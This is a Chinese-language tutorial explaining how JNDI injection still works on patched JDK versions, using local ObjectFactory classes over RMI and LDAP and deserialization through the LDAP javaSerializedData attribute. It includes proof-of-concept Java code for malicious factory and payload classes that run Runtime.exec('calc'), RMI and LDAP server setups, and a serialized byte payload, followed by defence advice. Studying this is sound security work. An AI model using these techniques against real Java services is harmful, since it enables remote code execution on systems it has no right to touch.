jndi注入 jdk高版本利用方式详解
字数 1624 2025-08-22 22:47:39
JNDI注入高版本JDK利用方式详解
1. JNDI注入基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的命名和目录服务API,其中RMI (远程方法调用) 和LDAP (轻量级目录访问协议) 在低版本JDK中存在远程加载类导致命令执行的安全问题。
1.1 受影响版本
- RMI:
- 修复版本: 6u132, 7u122, 8u113
- LDAP:
- 修复版本: 11.0.1, 8u191, 7u201, 6u211
2. RMI利用方式分析
2.1 传统RMI利用方式
在低版本中,攻击者可以通过设置Reference对象的factoryLocation属性指向恶意远程代码库来实现攻击。
2.2 高版本限制
从修复版本开始,默认设置com.sun.jndi.rmi.object.trustURLCodebase为false,禁止远程加载不可信的代码库。
2.3 高版本绕过方式
2.3.1 关键绕过思路
- 将
Reference对象的factoryLocation设置为null - 利用本地存在的工厂类,该类需要:
- 实现
ObjectFactory接口 - 重写
getObjectInstance方法 - 在
getObjectInstance方法中实现命令执行
- 实现
2.3.2 示例代码
恶意工厂类:
package org.example;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class PayloadObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return 1;
}
}
RMI服务端:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1111);
// 关键点:factoryLocation设置为null,使用本地工厂类
Reference reference = new Reference("aaa", "org.example.PayloadObjectFactory", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("payload", wrapper);
}
}
RMI客户端:
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMI_client {
public static void main(String[] args) {
try {
new InitialContext().lookup("rmi://127.0.0.1:1111/payload");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
3. LDAP利用方式分析
3.1 传统LDAP利用方式
类似于RMI,通过设置javaCodeBase和javaFactory属性指向远程恶意类。
3.2 高版本绕过方式
LDAP在高版本中提供了两种绕过方式:
3.2.1 本地工厂类方式
与RMI类似,利用本地存在的恶意工厂类。
LDAP服务端关键代码:
// 不设置javaCodeBase属性
e.addAttribute("javaClassName", "javaclassname");
e.addAttribute("objectClass", "javaNamingReference");
// 设置本地工厂类名
e.addAttribute("javaFactory", "org.example.PayloadObjectFactory");
3.2.2 反序列化方式
利用LDAP的javaSerializedData属性进行反序列化攻击。
实现步骤:
- 创建恶意序列化类:
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Payload implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc");
}
}
- 生成序列化数据:
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(new Payload());
byte[] bytes = byteArrayOutputStream.toByteArray();
- LDAP服务端设置序列化数据:
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
e.addAttribute("javaSerializedData", bytes);
4. 技术原理分析
4.1 RMI绕过原理
在com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法中:
- 检查
trustURLCodebase属性(默认为false) - 如果
factoryLocation为null,则尝试从本地加载工厂类 - 调用工厂类的
getObjectInstance方法
4.2 LDAP绕过原理
在javax.naming.spi.NamingManager#getObjectFactoryFromReference方法中:
- 首先尝试从本地加载工厂类
- 如果本地找不到且
trustURLCodebase为true,才尝试远程加载 - 反序列化路径:
com.sun.jndi.ldap.Obj#decodeObject会检查javaSerializedData属性并反序列化
5. 防御建议
- 升级JDK到最新版本
- 避免使用不可信的JNDI查找
- 设置系统属性
com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.object.trustURLCodebase为false - 对反序列化操作进行严格管控
6. 总结
| 协议 | 低版本利用方式 | 高版本绕过方式 |
|---|---|---|
| RMI | 远程加载工厂类 | 仅能使用本地工厂类 |
| LDAP | 远程加载工厂类 | 1. 本地工厂类 2. 反序列化 |
关键点:
- 本地工厂类必须实现
ObjectFactory接口 - 反序列化需要存在可利用的gadget链
- 两种方式都需要应用环境中存在相应的利用条件